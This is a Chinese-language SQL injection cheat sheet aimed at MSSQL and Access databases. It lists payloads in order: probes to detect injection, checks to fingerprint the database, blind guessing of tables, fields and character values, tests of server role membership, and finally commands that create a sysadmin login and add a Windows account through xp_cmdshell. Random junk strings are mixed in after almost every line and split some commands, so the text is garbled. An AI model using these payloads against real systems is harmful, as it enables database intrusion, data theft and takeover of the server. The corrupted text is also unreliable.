1.判断是否有注入;and 1=1 ;and 1=2 {1V($aBl
2.初步判断是否是mssql ;and user>0 UDL!43K
+Z7th7W/,
3.注入参数是字符'and [查询条件] and ''=' pk?w\A}
q qpgy7
4.搜索时没过滤参数的'and [查询条件] and '%25'=' >XY`*J^
5R'TcWf#W
5.判断数据库系统 UR7g`/
BSYzC9h`
;and (select count(*) from sysobjects)>0 mssql iF-6Y0~8
u
[m
;and (select count(*) from msysobjects)>0 access 8YZbP5'
U=DmsnD,
A<5ZF27
GN ]cDik
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]ndvt[4L
9xO#tu]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 &Sl[lXE
y4t7`-,~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 jhXkSj
Q<h-FW8z
9.(1)猜字段的ascii值(access) yaah*1ip[
9K5pwC\$%
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Rv#]I#O
E~%jX
}/
(2)猜字段的ascii值(mssql) r\b3AKrIN
:`-,Lbg
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 u.mJQDTH
<KE 1f7c
10.测试权限结构(mssql) )~+E[|
9:ze{ c $
;i
Fz?d3;
!lf|7
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ap&?r`Tu
i=i(%yQ%
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- v@Gl|29_
"}q@Y=
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- OK{quM5
tSVc|j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- qQA}Z*(m
k5D%y3|9
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (@%gS[]
V.O(S\
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- xl6,s>ob
giZP.C"0
;and 1=(select IS_MEMBER('db_owner'));-- +Vm}E0Ov
2q3+0Et8
r G4';V^q
MS\>DW
11.添加mssql和系统的帐户 !G SV6
v%"|WV[N
;exec master.dbo.sp_addlogin username;-- 85n1eE
;exec master.dbo.sp_password null,username,password;-- D}dn.$
iVB86XZ`
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- wF|fK4F
NWM8[dI
;exec master.dbo.xp_cmdshell 'net user username password V n*
xnmmXtk
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jp0<pw_
r30 <